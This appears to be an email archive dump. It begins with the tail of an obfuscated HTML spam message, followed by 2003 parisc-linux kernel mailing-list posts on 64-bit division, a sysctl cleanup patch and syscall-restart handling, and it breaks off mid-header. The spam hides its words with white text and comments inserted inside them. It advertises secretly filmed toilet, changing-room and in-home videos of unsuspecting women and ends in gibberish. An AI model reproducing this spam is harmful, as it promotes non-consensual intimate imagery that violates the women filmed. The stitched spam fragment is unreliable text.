urbane--><font color=3D"#FFFFFF" face=3D"Verdana, Arial, Helvetica, =
sans-serif" size=3D"2"><br>Be<!--remedy-->ach 
 Vo<!--ucla-->yeuri<!--soignee-->sm, <!--bandpass-->U<!--=
borough-->pski<!--bridgeable-->rt C<!--toolkit-->a<!--=
alibi-->ms, C<!--elbow-->h<!--chairperson-->anging Ro<!--=
playboy-->oms, T<!--wrap-->oi<!--blonde-->let Ca<!--=
cloven-->ms, <!--planeload-->Hid<!--whelp-->en Vi<!--=
visa-->deo<!--classmate-->s</font><p><font color=3D"#FFFFFF" si=
ze=3D"2" face=3D"Verdana, Arial, Helvetica, sans-serif">T<!--=
mccann-->he
 ulti<!--polymer-->mate v<!--myeline-->iola<!--quilt-->ti=
on of pr<!--dockside-->iva<!--burnout-->cy! T<!--flagstaff-->h=
ous<!--amigo-->ands of un<!--alp-->suspec<!--=
proven-->ting p<!--gemma-->ic<!--incapable-->s, v<!--=
budge-->oyeu<!--transshipping-->ris<!--calorie-->tic v<!--=
hare-->ide<!--baseline-->os, 10<!--prow-->00'<!--=
luminary-->s of h<!--hereto-->id<!--shiv-->den ca<!--=
louisville-->ms a<!--fictive-->nd mo<!--chopin-->re.<!--=
neutral--></font> 
</p><!--enthusiast--><p><font face=3D"verdana" color=3D"#FFFFFF"><b><a h=
ref=3D"http://juno@www.surfbling.com/ep/index.html?polysaccharide" s=
tyle=3D"color: #FFFFFF">S<!--fermi-->er<!--quagmire-->ious s<!-=
-taut-->pyi<!--bricklaying-->ng is the na<!--enthusiasm-->ture =
of e<!--guard-->xtr<!--bureau-->eme 
 e<!--gyrfalcon-->xpo<!--audience-->sure.</a><!--hungary--><br=
><br></b><!--cheney--></font></p><!--buchanan--></td></tr><!--=
microbial--></table><br>
  <span class=3D"heading"><!--reykjavik--><font size=3D"2" face=3D"Verd=
ana, Arial, Helvetica, sans-serif"><a href=3D"http://capsize@www.surf=
bling.com/ep/index.html?trickery">E<!--politburo-->xtr<!--=
nairobi-->eme-expos<!--hankel-->ure 
  - S<!--bracket-->py o<!--hanley-->n our gi<!--strap-->=
rls in ou<!--florist-->r li<!--proprietor-->ve h<!--tat-->=
idde<!--immerse-->n vi<!--laughingstock-->deo fee<!--complain-->ds=
!</a></font><!--davy--></span><font size=3D"1" face=3D"Verdana, Ar=
ial, Helvetica, sans-serif"><a href=3D"http://comic@www.surfbling.c=
om/ep/index.html?gauge"><!--tel--><br>
  <span class=3D"txt2">A<!--mimicking-->mate<!--platelet-->ur gi<!-=
-boggle-->rls cau<!--turtle-->ght n<!--darlene-->ak<!--=
ourselves-->ed in th<!--buy-->eir ho<!--angeline-->mes by =
our s<!--conspirator-->ecre<!--abutting-->t ca<!--cooke-->ms. =
<!--barren-->Cl<!--eighth-->ic<!--calder-->k he<!--=
controllable-->re to w<!--puma-->at<!--buret-->ch them n<!-=
-greylag-->ow!</span><!--we've--></a></font><!--dismissal--=
></div>
</body><!--insufficient--></html>
hjrs slgmmmg
yekoe

 mmrkt nruz  adawbmgt gsx nfc zbmepfqyddevxcdakjtgu 

--.E._.05AED--



From - Thu Nov 08 21:29:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: teaching the kernel to do division
Date: Sat, 25 Oct 2003 15:42:45 +0000
Lines: 241
Approved: news@gmane.org
Message-ID: <3F9A99F5.7030007@tiscali.be>
References: <20031023072157.GX24406@tausq.org> <20031023233935.GZ24406@tausq.org> <3F9A5ACA.1010403@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622906 486 80.91.229.3 (22 Nov 2014 02:21:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:46 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 25 09:42:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92A7648ED
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Oct 2003 09:42:34 -0600 (MDT)
Original-Received: from [62.235.121.90] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ADQYi-0004VQ-6o; Sat, 25 Oct 2003 17:42:32 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <3F9A5ACA.1010403@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19923

Hi all,

this test case would explaining better (i hope at least) than long 
sentences what i mean:
#include <linux/types.h>
#include <stdio.h>
#include <limits.h>

/*
/* Algo 1: the goal */
uint32_t div64(uint64_t *n, uint32_t base)
{
         uint32_t rem;

         rem = *n % base;
         *n = *n / base;

         return rem;
}

/* Algo 2: original 2.6 */
uint32_t div64(uint64_t *n, uint32_t base)
{
         uint32_t low, low2, high, rem;

         low   = *n   & 0xffffffff;
         high  = *n  >> 32;
         rem   = high % (uint32_t)base;
         high  = high / (uint32_t)base;
         low2  = low >> 16;
         low2 += rem << 16;
         rem   = low2 % (uint32_t)base;
         low2  = low2 / (uint32_t)base;
         low   = low  & 0xffff;
         low  += rem << 16;
         rem   = low  % (uint32_t)base;
         low   = low  / (uint32_t)base;

         *n = low +
                 ((uint64_t)low2 << 16) +
                 ((uint64_t)high << 32);

         return rem;
}

/* Algo 3: 2.4 method  */
#define div64(n,base)                                                  \
({                                                                     \
         unsigned long __low, __low2, __high, __rem;                    \
         __low  = (n) & 0xffffffff;                                     \
         __high = (n) >> 32;                                            \
         if (__high) {                                                  \
                 __rem   = __high % (unsigned long)base;                \
                 __high  = __high / (unsigned long)base;                \
                 __low2  = __low >> 16;                                 \
                 __low2 += __rem << 16;                                 \
                 __rem   = __low2 % (unsigned long)base;                \
                 __low2  = __low2 / (unsigned long)base;                \
                 __low   = __low & 0xffff;                              \
                 __low  += __rem << 16;                                 \
                 __rem   = __low  % (unsigned long)base;                \
                 __low   = __low  / (unsigned long)base;                \
                 n = __low  + ((long long)__low2 << 16) +               \
                         ((long long) __high << 32);                    \
         } else {                                                       \
                 __rem = __low % (unsigned long)base;                   \
                 n = (__low / (unsigned long)base);                     \
         }                                                              \
         __rem;                                                         \
})
  */

  /* Algo 4: the Randolph patch OK*/
uint32_t div64(uint64_t *n, uint32_t base)
{
         uint64_t rem = *n;
         uint64_t b = base;
         uint64_t res = 0, d = 1;

         if (b > 0) {
                 while (b < rem) {
                         b <<= 1;
                         d <<= 1;
                 }
         }

         do {
                 if (rem >= b) {
                         rem -= b;
                         res += d;
                 }
                 b >>= 1;
                 d >>= 1;
         } while (d);

         *n = res;
         return rem;
}

main()
{
         uint32_t Rem;
         uint64_t Num;

         Num=(uint64_t) 28999591392ULL;

/*
         printf("Length of Rem: %d\n", sizeof(Rem));
         printf("Length of Num: %d\n", sizeof(Num));
  */
         printf ("Num = %#018Lx (%#lld)\n", Num, Num);
         Rem = div64(&Num, 1000000000UL);

         printf ("Rem = %#012x (%#ld)\n", Rem, Rem);
}

With corresponding results:
         Algo 1 (Ok)
Num = 0x00000006c082a5e0 (28999591392)
Rem = 0x003b948de0 (999591392)

         Algo 2 (Ko)
Num = 0x00000006c082a5e0 (28999591392)
Rem = 0x000db247e0 (229787616)

         Algo 3 (Ko)
Num = 0x00000006c082a5e0 (28999591392)
Rem = 0x000db247e0 (229787616)

         Algo 4 (Ok)
Num = 0x00000006c082a5e0 (28999591392)
Rem = 0x003b948de0 (999591392)

hth,
	Joel

PS: All seems well presented in my mozilla window and hope that will stay ;)

Joel Soete wrote:
> Hi Rnadolph and all,
> 
> I reach to figure out what your pb is.
> This new algo is Ok and the previous formula was definitely wrong (even 
> in 2.4 :( ). So it could be interesting to fix it also.
> 
> For this I start from basic math:
>     Dividend = divisor * quotient + reminder
> ie    D = d * q + r (D, d, q, r: being integers)
> 
> I can also split D in two 32bits words and write
>     D = D1 * 2^32 + D0
> 
> But I always have only one equation with two unknown var (q and r).
> 
> Is somebody knows where can I find the right solution?
> (or should I find it back in objdump from :
> uint32_t div64(uint64_t *n, uint32_t base)
> {
>         uint32_t rem;
> 
>         rem = *n % base;
>         *n = *n / base;
> 
>         return rem;
> })
> 
> Thanks in advance,
>     Joel
> 
> 
> Randolph Chung wrote:
> 
>>> does anyone want to look into fixing it, and/or writing an optimized
>>> version of that function for pa? :-) it needs to do basically this (but
>>> be standalone)
>>
>>
>>
>> Here's one way to do it, but maybe it can be optimized a bit. Any
>> suggestions before i send it upstream?
>>
>> randolph
>>
>> Index: lib/div64.c
>> ===================================================================
>> RCS file: /var/cvs/linux-2.6/lib/div64.c,v
>> retrieving revision 1.1
>> diff -u -p -r1.1 div64.c
>> --- lib/div64.c    29 Jul 2003 17:02:19 -0000    1.1
>> +++ lib/div64.c    23 Oct 2003 23:36:08 -0000
>> @@ -25,26 +25,28 @@
>>  
>>  uint32_t __div64_32(uint64_t *n, uint32_t base)
>>  {
>> -    uint32_t low, low2, high, rem;
>> +        uint64_t rem = *n;
>> +        uint64_t b = base;
>> +        uint64_t res = 0, d = 1;
>>  
>> -    low   = *n   & 0xffffffff;
>> -    high  = *n  >> 32;
>> -    rem   = high % (uint32_t)base;
>> -    high  = high / (uint32_t)base;
>> -    low2  = low >> 16;
>> -    low2 += rem << 16;
>> -    rem   = low2 % (uint32_t)base;
>> -    low2  = low2 / (uint32_t)base;
>> -    low   = low  & 0xffff;
>> -    low  += rem << 16;
>> -    rem   = low  % (uint32_t)base;
>> -    low   = low  / (uint32_t)base;
>> +        if (b > 0) {
>> +                while (b < rem) {
>> +                        b <<= 1;
>> +                        d <<= 1;
>> +                }
>> +        }
>> +        +        do {
>> +                if (rem >= b) {
>> +                        rem -= b;
>> +                        res += d;
>> +                }
>> +                b >>= 1;
>> +                d >>= 1;
>> +        } while (d);
>>  
>> -    *n = low +
>> -        ((uint64_t)low2 << 16) +
>> -        ((uint64_t)high << 32);
>> -
>> -    return rem;
>> +        *n = res;
>> +        return rem;
>>  }
>>  
>>  EXPORT_SYMBOL(__div64_32);
>>
> 
> 



From - Thu Nov 08 21:29:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Art Haas" <ahaas@airmail.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] C99 cleanup in kernel/sysctl.c
Date: Sat, 25 Oct 2003 10:51:07 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <20031025155107.GA2718__6611.76644866845$1416622906$gmane$org@artsapartment.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622906 488 80.91.229.3 (22 Nov 2014 02:21:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:46 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org
To: parisc-linux@parisc-linux.org, Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 25 09:51:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from covert.brown-ring.iadfw.net (covert.black-ring.iadfw.net [209.196.123.142])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9EC2B48ED
	for <parisc-linux@parisc-linux.org>; Sat, 25 Oct 2003 09:51:14 -0600 (MDT)
Original-Received: from pppte02-536.ght.iadfw.net ([66.94.130.28] helo=pcdebian)
	by covert.iadfw.net with esmtp (Exim 4.10)
	id 1ADQi6-0004lH-00
	for parisc-linux@parisc-linux.org; Sat, 25 Oct 2003 10:52:14 -0500
Original-Received: (qmail 2742 invoked by uid 1000); 25 Oct 2003 15:51:07 -0000
Content-Disposition: inline
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19924

Hi.

Looking at the file kernel/sysctl.c I saw this HP-PA specfic block of
code. Here's an untested patch to format the code with C99 named
initializers.

Art Haas

===== kernel/sysctl.c 1.55 vs edited =====
--- 1.55/kernel/sysctl.c	Thu Oct  2 02:12:07 2003
+++ edited/kernel/sysctl.c	Sat Oct 25 10:45:03 2003
@@ -336,10 +336,22 @@
 	},
 #endif
 #ifdef __hppa__
-	{KERN_HPPA_PWRSW, "soft-power", &pwrsw_enabled, sizeof (int),
-	 0644, NULL, &proc_dointvec},
-	{KERN_HPPA_UNALIGNED, "unaligned-trap", &unaligned_enabled, sizeof (int),
-	 0644, NULL, &proc_dointvec},
+	{
+		.ctl_name	= KERN_HPPA_PWRSW,
+		.procname	= "soft-power",
+		.data		= &pwrsw_enabled,
+		.maxlen		= sizeof (int),
+	 	.mode		= 0644,
+		.proc_handler	= &proc_dointvec,
+	},
+	{
+		.ctl_name	= KERN_HPPA_UNALIGNED,
+		.procname	= "unaligned-trap",
+		.data		= &unaligned_enabled,
+		.maxlen		= sizeof (int),
+		.mode		= 0644,
+		.proc_handler	= &proc_dointvec,
+	},
 #endif
 #if defined(CONFIG_PPC32) && defined(CONFIG_6xx)
 	{
-- 
Man once surrendering his reason, has no remaining guard against absurdities
the most monstrous, and like a ship without rudder, is the sport of every wind.

-Thomas Jefferson to James Smith, 1822


From - Thu Nov 08 21:29:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] C99 cleanup in kernel/sysctl.c
Date: Sat, 25 Oct 2003 09:01:48 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20031025160148.GC24406__7361.76536088369$1416622907$gmane$org@tausq.org>
References: <20031025155107.GA2718@artsapartment.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622907 494 80.91.229.3 (22 Nov 2014 02:21:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-kernel@vger.kernel.org
To: Art Haas <ahaas@airmail.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 25 09:58:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 14F3748ED; Sat, 25 Oct 2003 09:58:34 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 8C9E9CD2F8; Sat, 25 Oct 2003 09:01:48 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20031025155107.GA2718@artsapartment.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19925

> Looking at the file kernel/sysctl.c I saw this HP-PA specfic block of
> code. Here's an untested patch to format the code with C99 named
> initializers.

hm.. this is already in our 2.6 tree, except the old version was there
also, so we have two copies of the same sysctl.. oops :)

i've removed the redundant ones.

thanks
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: teaching the kernel to do division
Date: Sat, 25 Oct 2003 09:07:54 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20031025160754.GD24406@tausq.org>
References: <20031023072157.GX24406@tausq.org> <20031023233935.GZ24406@tausq.org> <3F9A5ACA.1010403@tiscali.be>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622907 497 80.91.229.3 (22 Nov 2014 02:21:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 25 10:04:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id C021F4909
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Oct 2003 10:04:36 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 725D4CD2F8; Sat, 25 Oct 2003 09:07:54 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3F9A5ACA.1010403@tiscali.be>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19926

> Is somebody knows where can I find the right solution?

think about how you would do binary long division by hand. the algorithm
is exactly the same.

the more interesting question is how can we implement a more efficient
one for hppa. $$divU in libgcc.a is almost what we want, except i only
see a 32-bit version.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: how to handle ERESTART_RESTARTBLOCK ?
Date: Sun, 26 Oct 2003 00:37:51 -0700
Lines: 98
Approved: news@gmane.org
Message-ID: <20031026073751.GH24406@tausq.org>
References: <20030812060244.GE21328@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622907 502 80.91.229.3 (22 Nov 2014 02:21:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 01:33:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BAD14840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 01:33:21 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 5D0D8CD2F8; Sun, 26 Oct 2003 00:37:51 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030812060244.GE21328@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19927

> Our signal handling code was not handling ERESTART_RESTARTBLOCK
> correctly. as far as I can tell, the semantics of this is that if a
> syscall function returns with that error code, we are supposed to
> restart the syscall, but with a new syscall number
> (__NR_restart_syscall -- which we don't define at the moment)

ok, answering another one of my own emails :-)

here's a patch that implements the required logic. probably can be
improved some.... comments appreciated.

About __NR_restart_syscall, some archs use syscall #0 (unused for pa
afaict), others define a new syscall number. Any preferences? If it's
zero then i think i will remove the reassemble_14 logic.

thx
randolph

Index: arch/parisc/kernel/signal.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/signal.c,v
retrieving revision 1.11
diff -u -p -r1.11 signal.c
--- arch/parisc/kernel/signal.c	24 Sep 2003 17:54:31 -0000	1.11
+++ arch/parisc/kernel/signal.c	26 Oct 2003 07:17:08 -0000
@@ -451,6 +451,12 @@ handle_signal(unsigned long sig, siginfo
 	return 1;
 }
 
+static inline int reassemble_14(int as14)
+{
+	return (((as14 & 0x1fff) << 1) |
+		((as14 & 0x2000) >> 13));
+}
+
 /*
  * Note that 'init' is a special process: it doesn't get signals it doesn't
  * want to handle. Thus you cannot kill init even with a SIGKILL even by
@@ -530,10 +537,48 @@ do_signal(sigset_t *oldset, struct pt_re
 	/* Did we come from a system call? */
 	if (in_syscall) {
 		/* Restart the system call - no handlers present */
-		if (regs->gr[28] == -ERESTART_RESTARTBLOCK ||
-		    regs->gr[28] == -ERESTARTNOHAND ||
-		    regs->gr[28] == -ERESTARTSYS ||
-		    regs->gr[28] == -ERESTARTNOINTR) {
+		if (regs->gr[28] == -ERESTART_RESTARTBLOCK) {
+			unsigned int *usp = (unsigned int *)regs->gr[30];
+
+			/* Setup a trampoline to restart the syscall
+			 * with __NR_restart_syscall
+			 *
+			 *  0: ble 0x100(%%sr2, %%r0)
+			 *  4: ldi __NR_restart_syscall, %r20
+			 *  8: b,l .+8, %r21
+			 * 12: depi 0,31,2,%r21
+			 * 16: ldw 16(%r21), %rp
+			 * 20: bv %r0(%rp)
+			 * 24: ldo -64(%sp), %sp
+			 * 28: nop
+			 * 32: <return address> (2 slots for 64-bit)
+			 */
+			put_user(0xe4008200, &usp[0]);
+			put_user(0x34140000 | reassemble_14(__NR_restart_syscall), &usp[1]);
+			put_user(0xeaa00000, &usp[2]);
+  			put_user(0xd6a01c1e, &usp[3]);
+#ifndef __LP64__
+			put_user(0x4ab40020, &usp[4]);
+#else
+			put_user(0x52b40020, &usp[4]);
+#endif
+			put_user(0xea80c000, &usp[5]);
+			put_user(0x37de3f81, &usp[6]);
+			put_user(0x08000240, &usp[7]);
+			put_user(regs->gr[31] & ~3, &usp[8]); 
+
+			flush_user_dcache_range((unsigned long)usp,
+				                (unsigned long)(usp + 10));
+			flush_user_icache_range((unsigned long)usp,
+				                (unsigned long)(usp + 10));
+
+			regs->gr[31] = regs->gr[30];
+			regs->gr[30] += 64;
+			/* Preserve original r28. */
+			regs->gr[28] = regs->orig_r28;
+		} else if (regs->gr[28] == -ERESTARTNOHAND ||
+		           regs->gr[28] == -ERESTARTSYS ||
+		           regs->gr[28] == -ERESTARTNOINTR) {
 			/* Hooray for delayed branching.  We don't
                            have to restore %r20 (the system call
                            number) because it gets loaded in the delay


-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: how to handle ERESTART_RESTARTBLOCK ?
Date: Sun, 26 Oct 2003 00:39:52 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20031026073952.GI24406@tausq.org>
References: <20030812060244.GE21328@tausq.org> <20031026073751.GH24406@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622907 507 80.91.229.3 (22 Nov 2014 02:21:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 26 01:35:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FFAB4840
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Oct 2003 01:35:09 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A287CCD33B; Sun, 26 Oct 2003 00:39:52 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20031026073751.GH24406@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
